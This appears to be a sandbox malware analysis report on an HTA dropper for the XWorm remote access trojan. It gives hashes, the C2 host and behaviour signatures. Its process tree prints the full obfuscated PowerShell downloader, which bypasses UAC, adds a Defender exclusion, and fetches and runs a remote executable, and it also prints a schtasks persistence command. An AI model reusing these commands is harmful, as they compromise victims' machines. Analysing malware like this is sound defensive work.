Analysis

  • max time kernel
    30s
  • max time network
    31s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    24-01-2025 23:04

General

  • Target

    never.hta

  • Size

    11KB

  • MD5

    ea742132a205bf7b433598cb2a8fa3f5

  • SHA1

    43a79f227c20901143be107f6922740acc54cf29

  • SHA256

    183a5a6477a06e439c82b04421d4424f7fc69694780cae4a87278d367753598a

  • SHA512

    3983d17c65890c9e5d52a2a486b97a7e3ffa3d5a9a81d25739ac33cfc0db9d68647d202d0c845183b4e6f019be398e6f3a339204e8f64e87a73327fb1d2553c4

  • SSDEEP

    192:RxzslVZBh+kMufgTcPOGYhPE90KZEMx5DTmoRjtP/83anTnChFJkEFRhPSS:RWvMuYJOnTmoRtEKnTChISh6S

Malware Config

Extracted

Family

xworm

Version

3.1

C2

needforrat.hopto.org:7000

Attributes
  • Install_directory

    %AppData%

  • install_file

    USB.exe

Signatures

  • Detect Xworm Payload 2 IoCs
  • UAC bypass 3 TTPs 1 IoCs
  • Xworm

    Xworm is a remote access trojan written in C#.

  • Xworm family
  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Downloads MZ/PE file 1 IoCs
  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 2 IoCs
  • Executes dropped EXE 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 7 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\SysWOW64\mshta.exe
    C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\never.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
    1⤵
    • Checks computer location settings
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:1920
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted function mTxDUxaScYmr($LqgFFPWj, $lVgtUaSQwbRXQClp){[IO.File]::WriteAllBytes($LqgFFPWj, $lVgtUaSQwbRXQClp)};function zYuVqWK($LqgFFPWj){if($LqgFFPWj.EndsWith((BuXuLXiijdTMRmDi @(43804,43858,43866,43866))) -eq $True){rundll32.exe $LqgFFPWj }elseif($LqgFFPWj.EndsWith((BuXuLXiijdTMRmDi @(43804,43870,43873,43807))) -eq $True){powershell.exe -ExecutionPolicy unrestricted -File $LqgFFPWj}elseif($LqgFFPWj.EndsWith((BuXuLXiijdTMRmDi @(43804,43867,43873,43863))) -eq $True){misexec /qn /i $LqgFFPWj}else{Start-Process $LqgFFPWj}};function ueJWAHPbJFrFhUAtPKf($zxfGsNthtwq){$TCvpArgzJufvl = New-Object (BuXuLXiijdTMRmDi @(43836,43859,43874,43804,43845,43859,43856,43825,43866,43863,43859,43868,43874));[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::TLS12;$lVgtUaSQwbRXQClp = $TCvpArgzJufvl.DownloadData($zxfGsNthtwq);return $lVgtUaSQwbRXQClp};function BuXuLXiijdTMRmDi($GfcAO){$dZwGHElOYQ=43758;$IHZVeSlpJsUJNPA=$Null;foreach($kTBuzMksTQXtM in $GfcAO){$IHZVeSlpJsUJNPA+=[char]($kTBuzMksTQXtM-$dZwGHElOYQ)};return $IHZVeSlpJsUJNPA};function uqElSPqCUKRSUqTItU(){$MhGWljTYDYPGF = $env:AppData + '\';Set-ItemProperty -Path REGISTRY::HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System -Name ConsentPromptBehaviorAdmin -Value 0;$FxRqYVoPEMaIQDGEmVIr=$env:AppData; Add-MpPreference -ExclusionPath $FxRqYVoPEMaIQDGEmVIr;$dalTxgqsQiNh = $MhGWljTYDYPGF + 'new.exe'; if (Test-Path -Path $dalTxgqsQiNh){zYuVqWK $dalTxgqsQiNh;}Else{ $ztEoJaUP = ueJWAHPbJFrFhUAtPKf (BuXuLXiijdTMRmDi @(43862,43874,43874,43870,43816,43805,43805,43808,43807,43806,43804,43811,43812,43804,43807,43809,43804,43807,43807,43810,43805,43868,43859,43877,43804,43859,43878,43859));mTxDUxaScYmr $dalTxgqsQiNh $ztEoJaUP;zYuVqWK $dalTxgqsQiNh;};;;;}uqElSPqCUKRSUqTItU;" uac
      2⤵
      • UAC bypass
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Downloads MZ/PE file
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1392
      • C:\Users\Admin\AppData\Roaming\new.exe
        "C:\Users\Admin\AppData\Roaming\new.exe"
        3⤵
        • Checks computer location settings
        • Drops startup file
        • Executes dropped EXE
        • Adds Run key to start application
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of SetWindowsHookEx
        • Suspicious use of WriteProcessMemory
        PID:3572
        • C:\Windows\System32\schtasks.exe
          "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "new" /tr "C:\Users\Admin\AppData\Roaming\new.exe"
          4⤵
          • Scheduled Task/Job: Scheduled Task
          PID:2328
  • C:\Users\Admin\AppData\Roaming\new.exe
    C:\Users\Admin\AppData\Roaming\new.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of AdjustPrivilegeToken
    PID:2408

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_v14jrath.hp2.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Roaming\new.exe

    Filesize

    75KB

    MD5

    4c2a997fa2661fbfe14db1233b16364c

    SHA1

    e48025dbd61de286e13b25b144bf4da5da62761a

    SHA256

    c2a299f988158d07a573a21621b00b1577b7c232f91c1442ba30d272e4414c5d

    SHA512

    529a26f4769c7be0986e16d8e0bf37632b7b723a3e8d9fa8bb3f9cc4d766bd4d24a802d6aa43fe4df85c23cd680b0188c7e1eaff443a30203b298ba916aa0a57

  • memory/1392-24-0x00000000074D0000-0x0000000007502000-memory.dmp

    Filesize

    200KB

  • memory/1392-61-0x00000000710B0000-0x0000000071860000-memory.dmp

    Filesize

    7.7MB

  • memory/1392-0-0x00000000710BE000-0x00000000710BF000-memory.dmp

    Filesize

    4KB

  • memory/1392-6-0x0000000005420000-0x0000000005486000-memory.dmp

    Filesize

    408KB

  • memory/1392-5-0x0000000005380000-0x00000000053A2000-memory.dmp

    Filesize

    136KB

  • memory/1392-7-0x0000000005500000-0x0000000005566000-memory.dmp

    Filesize

    408KB

  • memory/1392-3-0x00000000055A0000-0x0000000005BC8000-memory.dmp

    Filesize

    6.2MB

  • memory/1392-17-0x0000000005BD0000-0x0000000005F24000-memory.dmp

    Filesize

    3.3MB

  • memory/1392-18-0x0000000006140000-0x000000000615E000-memory.dmp

    Filesize

    120KB

  • memory/1392-19-0x0000000006160000-0x00000000061AC000-memory.dmp

    Filesize

    304KB

  • memory/1392-20-0x00000000073F0000-0x0000000007486000-memory.dmp

    Filesize

    600KB

  • memory/1392-21-0x0000000006650000-0x000000000666A000-memory.dmp

    Filesize

    104KB

  • memory/1392-22-0x00000000066C0000-0x00000000066E2000-memory.dmp

    Filesize

    136KB

  • memory/1392-23-0x0000000007A40000-0x0000000007FE4000-memory.dmp

    Filesize

    5.6MB

  • memory/1392-4-0x00000000710B0000-0x0000000071860000-memory.dmp

    Filesize

    7.7MB

  • memory/1392-26-0x00000000710B0000-0x0000000071860000-memory.dmp

    Filesize

    7.7MB

  • memory/1392-2-0x00000000710B0000-0x0000000071860000-memory.dmp

    Filesize

    7.7MB

  • memory/1392-37-0x0000000007510000-0x00000000075B3000-memory.dmp

    Filesize

    652KB

  • memory/1392-38-0x00000000710B0000-0x0000000071860000-memory.dmp

    Filesize

    7.7MB

  • memory/1392-39-0x00000000710B0000-0x0000000071860000-memory.dmp

    Filesize

    7.7MB

  • memory/1392-36-0x00000000074B0000-0x00000000074CE000-memory.dmp

    Filesize

    120KB

  • memory/1392-40-0x0000000008670000-0x0000000008CEA000-memory.dmp

    Filesize

    6.5MB

  • memory/1392-41-0x0000000007690000-0x000000000769A000-memory.dmp

    Filesize

    40KB

  • memory/1392-42-0x00000000077E0000-0x00000000077F1000-memory.dmp

    Filesize

    68KB

  • memory/1392-43-0x0000000007830000-0x000000000783E000-memory.dmp

    Filesize

    56KB

  • memory/1392-44-0x0000000007840000-0x0000000007854000-memory.dmp

    Filesize

    80KB

  • memory/1392-45-0x0000000007890000-0x00000000078AA000-memory.dmp

    Filesize

    104KB

  • memory/1392-46-0x0000000007880000-0x0000000007888000-memory.dmp

    Filesize

    32KB

  • memory/1392-1-0x0000000001090000-0x00000000010C6000-memory.dmp

    Filesize

    216KB

  • memory/1392-25-0x0000000072D80000-0x0000000072DCC000-memory.dmp

    Filesize

    304KB

  • memory/3572-58-0x00000000000B0000-0x00000000000CA000-memory.dmp

    Filesize

    104KB